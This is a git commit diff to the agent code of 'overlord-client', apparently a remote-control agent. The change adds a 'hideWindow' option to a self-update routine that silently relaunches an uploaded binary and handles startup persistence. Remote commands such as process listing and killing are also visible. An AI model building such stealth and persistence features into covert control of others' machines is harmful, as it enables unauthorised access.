new build and update command
This commit is contained in:
@@ -17,7 +17,7 @@ import (
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error {
|
||||
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
|
||||
sourcePath = strings.TrimSpace(sourcePath)
|
||||
if sourcePath == "" {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
|
||||
@@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
|
||||
go func() {
|
||||
// Let the command_result flush before beginning process replacement.
|
||||
time.Sleep(250 * time.Millisecond)
|
||||
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil {
|
||||
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
|
||||
log.Printf("agent_update: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool {
|
||||
return filepath.Clean(left) == filepath.Clean(right)
|
||||
}
|
||||
|
||||
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
||||
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
|
||||
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
||||
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
||||
if err != nil {
|
||||
|
||||
@@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool {
|
||||
return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
|
||||
}
|
||||
|
||||
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
||||
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
|
||||
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
||||
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath)
|
||||
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow)
|
||||
|
||||
if currentErr != nil && !startupEnabled {
|
||||
return currentErr
|
||||
@@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
||||
|
||||
if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
|
||||
log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
|
||||
if err := startSilentProcess(sourcePath, nil, "", true); err != nil {
|
||||
if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil {
|
||||
return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
|
||||
}
|
||||
return nil
|
||||
@@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
||||
}
|
||||
_ = os.Remove(sourcePath)
|
||||
|
||||
if err := startSilentProcess(restartPath, nil, "", true); err != nil {
|
||||
if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil {
|
||||
return fmt.Errorf("failed to launch updated agent: %w", err)
|
||||
}
|
||||
log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)
|
||||
|
||||
@@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
path, _ := payload["path"].(string)
|
||||
hash, _ := payload["hash"].(string)
|
||||
return HandleAgentUpdate(ctx, env, cmdID, path, hash)
|
||||
hideWindow, _ := payload["hideWindow"].(bool)
|
||||
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
|
||||
case "process_list":
|
||||
return HandleProcessList(ctx, env, cmdID)
|
||||
case "process_kill":
|
||||
|
||||
Reference in New Issue
Block a user